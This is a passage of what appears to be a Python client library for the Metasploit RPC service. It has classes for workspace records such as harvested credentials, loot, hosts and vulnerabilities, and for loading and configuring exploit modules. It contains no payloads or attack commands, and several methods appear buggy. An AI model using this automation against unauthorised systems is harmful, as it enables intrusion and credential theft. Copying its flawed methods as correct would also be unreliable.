'success': 316 | self.sessionid = r['token'] 317 | except KeyError: 318 | raise MsfRpcError('Login failed.') 319 | else: 320 | try: 321 | r = self.call(MsfRpcMethod.DbStatus) 322 | except MsfRpcError: 323 | raise MsfRpcError('Login failed.') 324 | 325 | def logout(self): 326 | """ 327 | Logs the current user out. Note: do not call directly. 328 | """ 329 | self.call(MsfRpcMethod.AuthLogout, self.sessionid) 330 | 331 | 332 | class MsfTable(object): 333 | 334 | def __init__(self, rpc, wname): 335 | self.rpc = rpc 336 | self.name = wname 337 | 338 | def dbreport(self, atype, attrs): 339 | attrs.update({ 'workspace' : self.name }) 340 | return self.rpc.call('db.report_%s' % atype, attrs) 341 | 342 | def dbdel(self, atype, attrs): 343 | attrs.update({ 'workspace' : self.name }) 344 | return self.rpc.call('db.del_%s' % atype, attrs) 345 | 346 | def dbget(self, atype, attrs): 347 | attrs.update({ 'workspace' : self.name }) 348 | return self.rpc.call('db.get_%s' % atype, attrs)[atype] 349 | 350 | def records(self, atypes, **kwargs): 351 | kwargs.update({'workspace' : self.name}) 352 | return self.rpc.call('db.%s' % atypes, kwargs)[atypes] 353 | 354 | @property 355 | def list(self): 356 | raise NotImplementedError 357 | 358 | def report(self, *args, **kwargs): 359 | raise NotImplementedError 360 | 361 | def delete(self, *args, **kwargs): 362 | raise NotImplementedError 363 | 364 | def find(self, **kwargs): 365 | raise NotImplementedError 366 | 367 | update = report 368 | 369 | 370 | class NotesTable(MsfTable): 371 | 372 | @property 373 | def list(self): 374 | return super(NotesTable, self).records('notes') 375 | 376 | def find(self, **kwargs): 377 | """ 378 | Find notes based on search criteria. 379 | 380 | Optional Keyword Arguments: 381 | - limit : the maximum number of results. 382 | - offset : skip n results. 383 | - addresses : a list of addresses to search for. 384 | - names : comma separated string of service names. 385 | - ntype : the note type. 386 | - ports : the port associated with the note. 387 | - proto : the protocol associated with the note. 388 | """ 389 | if 'ports' in kwargs: 390 | kwargs['port'] = True 391 | return super(NotesTable, self).records('notes', **kwargs) 392 | 393 | def report(self, type, data, **kwargs): 394 | """ 395 | Report a Note to the database. Notes can be tied to a Workspace, Host, or Service. 396 | 397 | Mandatory Arguments: 398 | - type : The type of note, e.g. 'smb_peer_os'. 399 | - data : whatever it is you're making a note of. 400 | 401 | Optional Keyword Arguments: 402 | - host : an IP address or a Host object to associate with this Note. 403 | - service : a dict containing 'host', 'port', 'proto' and optionally 'name' keys. 404 | - port : along with 'host' and 'proto', a service to associate with this Note. 405 | - proto : along with 'host' and 'port', a service to associate with this Note. 406 | - update : what to do in case a similar Note exists, see below. 407 | 408 | The 'update' option can have the following values: 409 | - unique : allow only a single Note per host/type pair. 410 | - unique_data : like 'unique', but also compare 'data'. 411 | - insert : always insert a new Note even if one with identical values exists. 412 | 413 | If the provided 'host' is an IP address and does not exist in the database, 414 | it will be created. If 'host' and 'service' are all omitted, the new Note 415 | will be associated with the current 'workspace'. 416 | """ 417 | kwargs.update({ 'data' : data, 'type' : type }) 418 | kwargs.update(kwargs.pop('service', {})) 419 | self.dbreport('note', kwargs) 420 | 421 | def delete(self, **kwargs): 422 | """ 423 | Delete one or more notes based on a search criteria. 424 | 425 | Optional Keyword Arguments: 426 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 427 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 428 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 429 | - port : the port associated with a Note. 430 | - proto : the protocol associated with a Note. 431 | - ntype : the note type, e.g. 'smb_peer_os'. 432 | """ 433 | self.dbdel('note', kwargs) 434 | 435 | def get(self, **kwargs): 436 | """ 437 | Get a Note from the database based on the specifications of one or more keyword arguments. 438 | 439 | Mandatory Keyword Arguments: 440 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 441 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 442 | - addr : same as 'address', not required if 'host' or 'address' is specified. 443 | 444 | Optional Keyword Arguments: 445 | - proto : the protocol associated with the Note. 446 | - port : the port associated with the Note. 447 | - ntype : the type of Note. 448 | """ 449 | if not any([i in kwargs for i in ('host', 'address', 'addr')]): 450 | raise TypeError('Expected a host, address, or addr.') 451 | return self.dbget('note', kwargs) 452 | 453 | update = report 454 | 455 | 456 | class LootsTable(MsfTable): 457 | 458 | @property 459 | def list(self): 460 | return super(LootsTable, self).records('loots') 461 | 462 | def find(self, **kwargs): 463 | """ 464 | Find loot based on search criteria. 465 | 466 | Optional Keyword Arguments: 467 | - limit : the maximum number of results. 468 | - offset : skip n results. 469 | """ 470 | return super(LootsTable, self).records('loots', **kwargs) 471 | 472 | def report(self, path, type, **kwargs): 473 | """ 474 | Report Loot to the database 475 | 476 | Mandatory Arguments: 477 | - path : the filesystem path to the Loot 478 | - type : the type of Loot 479 | - ltype : the same as 'type', not required if 'type' is specified. 480 | 481 | Optional Keyword Arguments: 482 | - host : an IP address or a Host object to associate with this Note 483 | - ctype : the content type of the loot, e.g. 'text/plain' 484 | - content_type : same as 'ctype'. 485 | - service : a service to associate Loot with. 486 | - name : a name to associate with this Loot. 487 | - info : additional information about this Loot. 488 | - data : the data within the Loot. 489 | """ 490 | kwargs.update({ 'path' : path, 'type' : type }) 491 | self.dbreport('loot', kwargs) 492 | 493 | update = report 494 | 495 | 496 | class CredsTable(MsfTable): 497 | 498 | @property 499 | def list(self): 500 | return super(CredsTable, self).records('creds') 501 | 502 | def find(self, **kwargs): 503 | """ 504 | Find creds based on search criteria. 505 | 506 | Optional Keyword Arguments: 507 | - limit : the maximum number of results. 508 | - offset : skip n results. 509 | """ 510 | return super(CredsTable, self).records('creds', **kwargs) 511 | 512 | def report(self, host, port, **kwargs): 513 | """ 514 | Store a set of credentials in the database. 515 | 516 | Mandatory Arguments: 517 | - host : an IP address or Host object reference 518 | - port : a port number 519 | 520 | Optional Keyword Arguments: 521 | - user : the username. 522 | - password : the password, or path to ssh_key. 523 | - ptype : the type of password (password(ish), hash, or ssh_key). 524 | - proto : a transport name for the port. 525 | - sname : service name. 526 | - active : by default, a cred is active, unless explicitly false. 527 | - proof : data used to prove the account is actually active. 528 | 529 | Sources: Credentials can be sourced from another credential, or from 530 | a vulnerability. For example, if an exploit was used to dump the 531 | smb_hashes, and this credential comes from there, the source_id would 532 | be the Vuln id (as reported by report_vuln) and the type would be "Vuln". 533 | 534 | - source_id : The Vuln or Cred id of the source of this cred. 535 | - source_type : Either Vuln or Cred. 536 | """ 537 | kwargs.update({'host' : host, 'port' : port}) 538 | kwargs['pass'] = kwargs.get('password') 539 | self.dbreport('cred', kwargs) 540 | 541 | update = report 542 | 543 | 544 | class AuthInfoTable(MsfTable): 545 | 546 | def report(self, host, port, **kwargs): 547 | """ 548 | Store a set of credentials in the database. 549 | 550 | Mandatory Arguments: 551 | - host : an IP address or Host object reference 552 | - port : a port number 553 | 554 | Optional Keyword Arguments: 555 | - user : the username. 556 | - pass : the password, or path to ssh_key. 557 | - ptype : the type of password (password(ish), hash, or ssh_key). 558 | - proto : a transport name for the port. 559 | - sname : service name. 560 | - active : by default, a cred is active, unless explicitly false. 561 | - proof : data used to prove the account is actually active. 562 | 563 | Sources: Credentials can be sourced from another credential, or from 564 | a vulnerability. For example, if an exploit was used to dump the 565 | smb_hashes, and this credential comes from there, the source_id would 566 | be the Vuln id (as reported by report_vuln) and the type would be "Vuln". 567 | 568 | - source_id : The Vuln or Cred id of the source of this cred. 569 | - source_type : Either Vuln or Cred. 570 | """ 571 | kwargs.update({'host' : host, 'port' : port}) 572 | self.dbreport('auth_info', kwargs) 573 | 574 | update = report 575 | 576 | 577 | class HostsTable(MsfTable): 578 | 579 | @property 580 | def list(self): 581 | return super(HostsTable, self).records('hosts') 582 | 583 | def find(self, **kwargs): 584 | """ 585 | Find hosts based on search criteria. 586 | 587 | Optional Keyword Arguments: 588 | - limit : the maximum number of results. 589 | - offset : skip n results. 590 | - only_up : find only hosts that are alive. 591 | - addresses : find hosts based on a list of addresses. 592 | """ 593 | return super(HostsTable, self).records('hosts', **kwargs) 594 | 595 | def report(self, host, **kwargs): 596 | """ 597 | Store a host in the database. 598 | 599 | Mandatory Keyword Arguments: 600 | - host : an IP address or Host object reference. 601 | 602 | Optional Keyword Arguments: 603 | - state : a host state. 604 | - os_name : an operating system. 605 | - os_flavor : something like 'XP or 'Gentoo'. 606 | - os_sp : something like 'SP2'. 607 | - os_lang : something like 'English', 'French', or 'en-US'. 608 | - arch : an architecture. 609 | - mac : the host's MAC address. 610 | - scope : interface identifier for link-local IPv6. 611 | - virtual_host : the name of the VM host software, e.g. 'VMWare', 'QEMU', 'Xen', etc. 612 | """ 613 | kwargs.update({'host' : host}) 614 | self.dbreport('host', kwargs) 615 | 616 | def delete(self, **kwargs): 617 | """ 618 | Deletes a host and associated data matching this address/comm. 619 | 620 | Mandatory Keyword Arguments: 621 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 622 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 623 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 624 | """ 625 | if not any([ i in kwargs for i in ('host', 'address', 'addresses')]): 626 | raise TypeError('Expected host, address, or addresses.') 627 | self.dbdel('host', kwargs) 628 | 629 | def get(self, **kwargs): 630 | """ 631 | Get a host in the database. 632 | 633 | Mandatory Keyword Arguments: 634 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 635 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 636 | - addr : same as 'address', not required if 'host' or 'address' is specified. 637 | """ 638 | if not any([ i in kwargs for i in ('addr', 'address', 'host')]): 639 | raise TypeError('Expected addr, address, or host.') 640 | return self.dbget('host', kwargs) 641 | 642 | update = report 643 | 644 | 645 | class ServicesTable(MsfTable): 646 | 647 | @property 648 | def list(self): 649 | return super(ServicesTable, self).records('services') 650 | 651 | def find(self, **kwargs): 652 | """ 653 | Find hosts based on search criteria. 654 | 655 | Optional Keyword Arguments: 656 | - limit : the maximum number of results. 657 | - offset : skip n results. 658 | - only_up : find only hosts that are alive. 659 | - addresses : find hosts based on a list of addresses. 660 | - proto : the protocol of the service. 661 | - ports : a comma separated string of ports. 662 | - names : a comma separated string of service names. 663 | """ 664 | return super(ServicesTable, self).records('services', **kwargs) 665 | 666 | def report(self, host, port, proto, **kwargs): 667 | """ 668 | Record a service in the database. 669 | 670 | Mandatory Arguments: 671 | - host : the host where this service is running. 672 | - port : the port where this service listens. 673 | - proto : the transport layer protocol (e.g. tcp, udp). 674 | 675 | Optional Keyword Arguments: 676 | - name : the application layer protocol (e.g. ssh, mssql, smb) 677 | - sname : an alias for the above 678 | """ 679 | kwargs.update({'host' : host, 'port' : port, 'proto' : proto}) 680 | self.dbreport('service', kwargs) 681 | 682 | def delete(self, **kwargs): 683 | """ 684 | Deletes a port and associated vulns matching this port. 685 | 686 | Mandatory Keyword Arguments: 687 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 688 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 689 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 690 | 691 | or 692 | 693 | - port : used along with 'proto', specifies a service. 694 | - proto : used along with 'port', specifies a service. 695 | """ 696 | if not any([i in kwargs for i in ('host', 'address', 'addresses')]) and \ 697 | not all([i in kwargs for i in ('proto', 'port')]): 698 | raise TypeError('Expected host or port/proto pair.') 699 | self.dbdel('service', kwargs) 700 | 701 | def get(self, **kwargs): 702 | """ 703 | Get a service record from the database. 704 | 705 | Mandatory Keyword Arguments: 706 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 707 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 708 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 709 | 710 | or 711 | 712 | - port : used along with 'proto', specifies a service. 713 | - proto : used along with 'port', specifies a service. 714 | 715 | Optional Keyword Arguments: 716 | - up : specifies whether or not the service is alive. 717 | - names : a comma separated string of service names. 718 | """ 719 | if not any([i in kwargs for i in ('host', 'addr', 'address')]) and \ 720 | not all([i in kwargs for i in ('proto', 'port')]): 721 | raise TypeError('Expected host or port/proto pair.') 722 | return self.dbget('service', kwargs) 723 | 724 | update = report 725 | 726 | 727 | class VulnsTable(MsfTable): 728 | 729 | @property 730 | def list(self): 731 | return super(VulnsTable, self).records('vulns') 732 | 733 | def find(self, **kwargs): 734 | """ 735 | Find vulns based on search criteria. 736 | 737 | Optional Keyword Arguments: 738 | - limit : the maximum number of results. 739 | - offset : skip n results. 740 | - addresses : find hosts based on a list of addresses. 741 | - proto : the protocol of the service. 742 | - ports : a comma separated string of ports. 743 | - names : a comma separated string of service names. 744 | """ 745 | return super(VulnsTable, self).records('vulns', **kwargs) 746 | 747 | def report(self, host, name, **kwargs): 748 | """ 749 | Record a Vuln in the database. 750 | 751 | Mandatory Arguments: 752 | - host : the host where this vulnerability resides. 753 | - name : the scanner-specific id of the vuln (e.g. NEXPOSE-cifs-acct-password-never-expires). 754 | 755 | Optional Keyword Arguments: 756 | - info : a human readable description of the vuln, free-form text. 757 | - refs : an array of Ref objects or string names of references. 758 | """ 759 | kwargs.update({'host' : host, 'name' : name}) 760 | self.dbreport('vuln', kwargs) 761 | 762 | def delete(self, **kwargs): 763 | """ 764 | Deletes a vuln and associated data matching this address/comm. 765 | 766 | Mandatory Keyword Arguments: 767 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 768 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 769 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 770 | """ 771 | if not any([ i in kwargs for i in ('host', 'address', 'addresses')]): 772 | raise TypeError('Expected host, address, or addresses.') 773 | self.dbdel('vuln', kwargs) 774 | 775 | def get(self, **kwargs): 776 | """ 777 | Get a vuln in the database. 778 | 779 | Mandatory Keyword Arguments: 780 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 781 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 782 | - addr : same as 'address', not required if 'host' or 'address' is specified. 783 | """ 784 | if not any([ i in kwargs for i in ('addr', 'address', 'host')]): 785 | raise TypeError('Expected addr, address, or host.') 786 | return self.dbreport('vuln', kwargs) 787 | 788 | update = report 789 | 790 | 791 | class EventsTable(MsfTable): 792 | 793 | @property 794 | def list(self): 795 | return super(EventsTable, self).records('events') 796 | 797 | def find(self, **kwargs): 798 | """ 799 | Find events based on search criteria. 800 | 801 | Optional Keyword Arguments: 802 | - limit : the maximum number of results. 803 | - offset : skip n results. 804 | """ 805 | return super(EventsTable, self).records('events', **kwargs) 806 | 807 | def report(self, **kwargs): 808 | """ 809 | Record a Vuln in the database. 810 | 811 | Mandatory Arguments: 812 | - username : user that invoked the event. 813 | - host : host that invoked the event. 814 | """ 815 | if not any([i in kwargs for i in ('username', 'host')]): 816 | raise TypeError('Expected either username or host') 817 | self.dbreport('vuln', kwargs) 818 | 819 | update = report 820 | 821 | 822 | class ClientsTable(MsfTable): 823 | 824 | @property 825 | def list(self): 826 | return super(ClientsTable, self).records('clients') 827 | 828 | def find(self, **kwargs): 829 | """ 830 | Find clients based on search criteria. 831 | 832 | Optional Keyword Arguments: 833 | - limit : the maximum number of results. 834 | - offset : skip n results. 835 | - ua_name : a user-agent string. 836 | - ua_ver : the user-agent version. 837 | - addresses : a list of IP addresses. 838 | """ 839 | return super(ClientsTable, self).records('clients', **kwargs) 840 | 841 | def report(self, ua_string, host, **kwargs): 842 | """ 843 | Report a client running on a host. 844 | 845 | Mandatory Arguments: 846 | - ua_string : the value of the User-Agent header 847 | - host : the host where this client connected from, can be an ip address or a Host object 848 | 849 | Optional Keyword Arguments 850 | - ua_name : one of the user agent name constants 851 | - ua_ver : detected version of the given client 852 | - campaign : an id or Campaign object 853 | 854 | Returns a Client. 855 | """ 856 | kwargs.update({'host' : host, 'ua_string' : ua_string}) 857 | self.dbreport('client', kwargs) 858 | 859 | def delete(self, **kwargs): 860 | """ 861 | Deletes a client and associated data matching this address/comm. 862 | 863 | Mandatory Keyword Arguments: 864 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 865 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 866 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 867 | """ 868 | self.dbdel('client', kwargs) 869 | 870 | def get(self, **kwargs): 871 | """ 872 | Get a client in the database. 873 | 874 | Mandatory Keyword Arguments: 875 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 876 | - ua_string : the value of the User-Agent header 877 | """ 878 | if not any([ i in kwargs for i in ('host', 'ua_string')]): 879 | raise TypeError('Expected host or ua_string.') 880 | return self.dbreport('client', kwargs) 881 | 882 | update = report 883 | 884 | 885 | class Workspace(object): 886 | 887 | def __init__(self, rpc, name): 888 | """ 889 | Initializes a workspace object. 890 | 891 | Mandatory Arguments: 892 | - rpc : the msfrpc client object 893 | - name : the name of the workspace 894 | """ 895 | self.rpc = rpc 896 | self.name = name 897 | 898 | @property 899 | def current(self): 900 | """ 901 | The name of the current workspace. 902 | """ 903 | return self.name 904 | 905 | @current.setter 906 | def current(self, name): 907 | self.name = name 908 | 909 | @property 910 | def notes(self): 911 | """ 912 | Returns the notes table for the current workspace. 913 | """ 914 | return NotesTable(self.rpc, self.name) 915 | 916 | @property 917 | def hosts(self): 918 | """ 919 | Returns the hosts table for the current workspace. 920 | """ 921 | return HostsTable(self.rpc, self.name) 922 | 923 | @property 924 | def services(self): 925 | """ 926 | Returns the services table for the current workspace. 927 | """ 928 | return ServicesTable(self.rpc, self.name) 929 | 930 | @property 931 | def vulns(self): 932 | """ 933 | Returns the vulns table for the current workspace. 934 | """ 935 | return VulnsTable(self.rpc, self.name) 936 | 937 | @property 938 | def events(self): 939 | """ 940 | Returns the events table for the current workspace. 941 | """ 942 | return EventsTable(self.rpc, self.name) 943 | 944 | @property 945 | def loots(self): 946 | """ 947 | Returns the loots table for the current workspace. 948 | """ 949 | return LootsTable(self.rpc, self.name) 950 | 951 | @property 952 | def creds(self): 953 | """ 954 | Returns the creds table for the current workspace. 955 | """ 956 | return CredsTable(self.rpc, self.name) 957 | 958 | @property 959 | def clients(self): 960 | """ 961 | Returns the clients table for the current workspace. 962 | """ 963 | return ClientsTable(self.rpc, self.name) 964 | 965 | def delete(self): 966 | """ 967 | Delete the current workspace. 968 | """ 969 | self.rpc.call(MsfRpcMethod.DbDelWorkspace, {'workspace' : self.name}) 970 | 971 | def importdata(self, data): 972 | self.rpc.call(MsfRpcMethod.DbImportData, {'workspace' : self.name, 'data' : data}) 973 | 974 | def importfile(self, fname): 975 | with open(fname, "rb") as f: 976 | self.rpc.call(MsfRpcMethod.DbImportData, {'workspace': self.name, 'data': f.read()}) 977 | 978 | 979 | class MsfManager(object): 980 | 981 | def __init__(self, rpc): 982 | """ 983 | Initialize a msf component manager. 984 | 985 | Mandatory Arguments: 986 | - rpc : the msfrpc client object. 987 | """ 988 | self.rpc = rpc 989 | 990 | 991 | class WorkspaceManager(MsfManager): 992 | 993 | @property 994 | def list(self): 995 | """ 996 | The list of all workspaces in the current msf database. 997 | """ 998 | return self.rpc.call(MsfRpcMethod.DbWorkspaces)['workspaces'] 999 | 1000 | def workspace(self, name='default'): 1001 | """ 1002 | Returns a Workspace object for the given workspace name. 1003 | 1004 | Optional Arguments: 1005 | - name : the name of the workspace 1006 | """ 1007 | w = self.list 1008 | if name not in w: 1009 | self.add(name) 1010 | return Workspace(self.rpc, name) 1011 | 1012 | def add(self, name): 1013 | """ 1014 | Adds a workspace with the given name. 1015 | 1016 | Mandatory Arguments: 1017 | - name : the name of the workspace 1018 | """ 1019 | self.rpc.call(MsfRpcMethod.DbAddWorkspace, name) 1020 | 1021 | def get(self, name): 1022 | """ 1023 | Get a workspace with the given name. 1024 | 1025 | Mandatory Arguments: 1026 | - name : the name of the workspace 1027 | """ 1028 | return self.rpc.call(MsfRpcMethod.DbGetWorkspace, name)['workspace'] 1029 | 1030 | def remove(self, name): 1031 | """ 1032 | Adds a workspace with the given name. 1033 | 1034 | Mandatory Arguments: 1035 | - name : the name of the workspace 1036 | """ 1037 | self.rpc.call(MsfRpcMethod.DbDelWorkspace, name) 1038 | 1039 | def set(self, name): 1040 | """ 1041 | Sets the current workspace. 1042 | 1043 | Mandatory Arguments: 1044 | - name : the name of the workspace 1045 | """ 1046 | self.rpc.call(MsfRpcMethod.DbSetWorkspace, name) 1047 | 1048 | @property 1049 | def current(self): 1050 | """ 1051 | The current workspace. 1052 | """ 1053 | return self.workspace(self.rpc.call(MsfRpcMethod.DbCurrentWorkspace)['workspace']) 1054 | 1055 | 1056 | class DbManager(MsfManager): 1057 | 1058 | def connect(self, username, database='msf', **kwargs): 1059 | """ 1060 | Connects to a database and creates the msf schema if necessary. 1061 | 1062 | Mandatory Arguments: 1063 | - username : the username for the database connection 1064 | 1065 | Optional Keyword Arguments: 1066 | - host : the IP or hostname of the database server (default: 'localhost') 1067 | - driver : the driver to use for the database connection (default: 'postgresql') 1068 | - password : the password for the database connection 1069 | - database : the database name (default: 'msf') 1070 | - port : the port that the server is running on (default: 5432) 1071 | """ 1072 | runopts = { 'username': username, 'database' : database } 1073 | runopts.update(kwargs) 1074 | return self.rpc.call(MsfRpcMethod.DbConnect, runopts)['result'] == 'success' 1075 | 1076 | @property 1077 | def driver(self): 1078 | """ 1079 | The current database driver in use. 1080 | """ 1081 | return self.rpc.call(MsfRpcMethod.DbDriver, {})['driver'] 1082 | 1083 | @driver.setter 1084 | def driver(self, d): 1085 | self.rpc.call(MsfRpcMethod.DbDriver, {'driver' : d}) 1086 | 1087 | @property 1088 | def status(self): 1089 | """ 1090 | The status of the database connection. 1091 | """ 1092 | return self.rpc.call(MsfRpcMethod.DbStatus) 1093 | 1094 | def disconnect(self): 1095 | """ 1096 | Disconnect from the database. 1097 | """ 1098 | self.rpc.call(MsfRpcMethod.DbDisconnect) 1099 | 1100 | @property 1101 | def workspaces(self): 1102 | """ 1103 | A WorkspaceManager object. 1104 | """ 1105 | return WorkspaceManager(self.rpc) 1106 | 1107 | @property 1108 | def workspace(self): 1109 | """ 1110 | The name of the current workspace. 1111 | """ 1112 | return self.rpc.call(MsfRpcMethod.DbCurrentWorkspace)['workspace'] 1113 | 1114 | @workspace.setter 1115 | def workspace(self, w): 1116 | self.rpc.call(MsfRpcMethod.DbSetWorkspace, w) 1117 | 1118 | 1119 | class AuthManager(MsfManager): 1120 | 1121 | def login(self, password, **kwargs): 1122 | """ 1123 | Login to the msfrpc daemon. 1124 | 1125 | Mandatory Arguments: 1126 | - password : the password used to login to msfrpc 1127 | 1128 | Optional Keyword Arguments: 1129 | - username : the username used to authenticate to msfrpcd (default: msf) 1130 | - uri : the msfrpcd URI (default: /api/) 1131 | - port : the remote msfrpcd port to connect to (default: 55553) 1132 | - server : the remote server IP address hosting msfrpcd (default: localhost) 1133 | - ssl : if true uses SSL else regular HTTP (default: SSL enabled) 1134 | """ 1135 | return MsfRpcClient(password, **kwargs) 1136 | 1137 | def logout(self, sid): 1138 | """ 1139 | Logs out a user for a given session ID. 1140 | 1141 | Mandatory Arguments: 1142 | - sid : a session ID that is active. 1143 | """ 1144 | return self.rpc.call(MsfRpcMethod.AuthLogout, sid) 1145 | 1146 | @property 1147 | def tokens(self): 1148 | """ 1149 | The current list of active session IDs. 1150 | """ 1151 | return self.rpc.call(MsfRpcMethod.AuthTokenList)['tokens'] 1152 | 1153 | def add(self, token): 1154 | """ 1155 | Add a session ID or token. 1156 | 1157 | Mandatory Argument: 1158 | - token : a random string used as a session identifier. 1159 | """ 1160 | self.rpc.call(MsfRpcMethod.AuthTokenAdd, token) 1161 | 1162 | def remove(self, token): 1163 | """ 1164 | Remove a session ID or token. 1165 | 1166 | Mandatory Argument: 1167 | - token : a session ID or token that is active. 1168 | """ 1169 | self.rpc.call(MsfRpcMethod.AuthTokenRemove, token) 1170 | 1171 | def generate(self): 1172 | """ 1173 | Generate a session ID or token. 1174 | """ 1175 | return self.rpc.call(MsfRpcMethod.AuthTokenGenerate)['token'] 1176 | 1177 | 1178 | class PluginManager(MsfManager): 1179 | 1180 | @property 1181 | def list(self): 1182 | """ 1183 | A list of loaded plugins. 1184 | """ 1185 | return self.rpc.call(MsfRpcMethod.PluginLoaded)['plugins'] 1186 | 1187 | def load(self, plugin): 1188 | """ 1189 | Load a plugin of a given name. 1190 | 1191 | Mandatory Arguments: 1192 | - plugin : a name of a plugin to load. 1193 | """ 1194 | self.rpc.call(MsfRpcMethod, MsfRpcMethod.PluginLoad, plugin) 1195 | 1196 | def unload(self, plugin): 1197 | """ 1198 | Unload a plugin of a given name. 1199 | 1200 | Mandatory Arguments: 1201 | - plugin : a name of a loaded plugin to unload. 1202 | """ 1203 | self.rpc.call(MsfRpcMethod, MsfRpcMethod.PluginUnload, plugin) 1204 | 1205 | 1206 | class JobManager(MsfManager): 1207 | 1208 | @property 1209 | def list(self): 1210 | """ 1211 | A list of currently running jobs. 1212 | """ 1213 | return self.rpc.call(MsfRpcMethod.JobList) 1214 | 1215 | def stop(self, jobid): 1216 | """ 1217 | Stop a job. 1218 | 1219 | Mandatory Argument: 1220 | - jobid : the ID of the job. 1221 | """ 1222 | self.rpc.call(MsfRpcMethod.JobStop, jobid) 1223 | 1224 | def info(self, jobid): 1225 | """ 1226 | Get job information for a particular job. 1227 | 1228 | Mandatory Argument: 1229 | - jobid : the ID of the job. 1230 | """ 1231 | return self.rpc.call(MsfRpcMethod.JobInfo, jobid) 1232 | 1233 | 1234 | class CoreManager(MsfManager): 1235 | 1236 | @property 1237 | def version(self): 1238 | """ 1239 | The version of msf core. 1240 | """ 1241 | return self.rpc.call(MsfRpcMethod.CoreVersion) 1242 | 1243 | def stop(self): 1244 | """ 1245 | Stop the core. 1246 | """ 1247 | self.rpc.call(MsfRpcMethod.CoreStop) 1248 | 1249 | def setg(self, var, val): 1250 | """ 1251 | Set a global variable 1252 | 1253 | Mandatory Arguments: 1254 | - var : the variable name 1255 | - val : the variable value 1256 | """ 1257 | self.rpc.call(MsfRpcMethod.CoreSetG, var, val) 1258 | 1259 | def unsetg(self, var): 1260 | """ 1261 | Unset a global variable 1262 | 1263 | Mandatory Arguments: 1264 | - var : the variable name 1265 | """ 1266 | self.rpc.call(MsfRpcMethod.CoreUnsetG, var) 1267 | 1268 | def save(self): 1269 | """ 1270 | Save the core state. 1271 | """ 1272 | self.rpc.call(MsfRpcMethod.CoreSave) 1273 | 1274 | def reload(self): 1275 | """ 1276 | Reload all modules in the core. 1277 | """ 1278 | self.rpc.call(MsfRpcMethod.CoreReloadModules) 1279 | 1280 | @property 1281 | def stats(self): 1282 | """ 1283 | Get module statistics from the core. 1284 | """ 1285 | return self.rpc.call(MsfRpcMethod.CoreModuleStats) 1286 | 1287 | def addmodulepath(self, path): 1288 | """ 1289 | Add a search path for additional modules. 1290 | 1291 | Mandatory Arguments: 1292 | - path : the path to search for modules. 1293 | """ 1294 | return self.rpc.call(MsfRpcMethod.CoreAddModulePath, path) 1295 | 1296 | @property 1297 | def threads(self): 1298 | """ 1299 | The current threads running in the core. 1300 | """ 1301 | return self.rpc.call(MsfRpcMethod.CoreThreadList) 1302 | 1303 | def kill(self, threadid): 1304 | """ 1305 | Kill a thread running in the core. 1306 | 1307 | Mandatory Arguments: 1308 | - threadid : the thread ID. 1309 | """ 1310 | self.rpc.call(MsfRpcMethod.CoreThreadKill, threadid) 1311 | 1312 | 1313 | class MsfModule(object): 1314 | 1315 | def __init__(self, rpc, mtype, mname): 1316 | """ 1317 | Initializes an msf module object. 1318 | 1319 | Mandatory Arguments: 1320 | - rpc : the msfrpc client object. 1321 | - mtype : the module type (e.g. 'exploit') 1322 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header') 1323 | """ 1324 | self.moduletype = mtype 1325 | self.modulename = mname 1326 | self.rpc = rpc 1327 | self._info = rpc.call(MsfRpcMethod.ModuleInfo, mtype, mname) 1328 | property_attributes = ["advanced", "evasion", "options", "required", "runoptions"] 1329 | for k in self._info: 1330 | if k not in property_attributes: 1331 | # don't try to set property attributes 1332 | setattr(self, k, self._info.get(k)) 1333 | self._moptions = rpc.call(MsfRpcMethod.ModuleOptions, mtype, mname) 1334 | self._roptions = [] 1335 | self._aoptions = [] 1336 | self._eoptions = [] 1337 | self._runopts = {} 1338 | for o in self._moptions: 1339 | if self._moptions[o]['required']: 1340 | self._roptions.append(o) 1341 | if self._moptions[o]['advanced']: 1342 | self._aoptions.append(o) 1343 | if self._moptions[o]['evasion']: 1344 | self._eoptions.append(o) 1345 | if 'default' in self._moptions[o]: 1346 | self._runopts[o] = self._moptions[o]['default'] 1347 | 1348 | @property 1349 | def options(self): 1350 | """ 1351 | All the module options. 1352 | """ 1353 | return list(self._moptions.keys()) 1354 | 1355 | @property 1356 | def required(self): 1357 | """ 1358 | The required module options. 1359 | """ 1360 | return self._roptions 1361 | 1362 | @property 1363 | def evasion(self): 1364 | """ 1365 | Module options that are used for evasion. 1366 | """ 1367 | return self._eoptions 1368 | 1369 | @property 1370 | def advanced(self): 1371 | """ 1372 | Advanced module options. 1373 | """ 1374 | return self._aoptions 1375 | 1376 | @property 1377 | def runoptions(self): 1378 | """ 1379 | The running (currently set) options for a module. This will raise an error 1380 | if some of the required options are missing. 1381 | """ 1382 | outstanding = set(self.required).difference(list(self._runopts.keys())) 1383 | if outstanding: 1384 | raise TypeError('Module missing required parameter: %s' % ', '.join(outstanding)) 1385 | return self._runopts 1386 | 1387 | def optioninfo(self, option): 1388 | """ 1389 | Get information about the module option 1390 | 1391 | Mandatory Argument: 1392 | - option : the option name. 1393 | """ 1394 | return self._moptions[option] 1395 | 1396 | def __getitem__(self, item): 1397 | """ 1398 | Get the current option value. 1399 | 1400 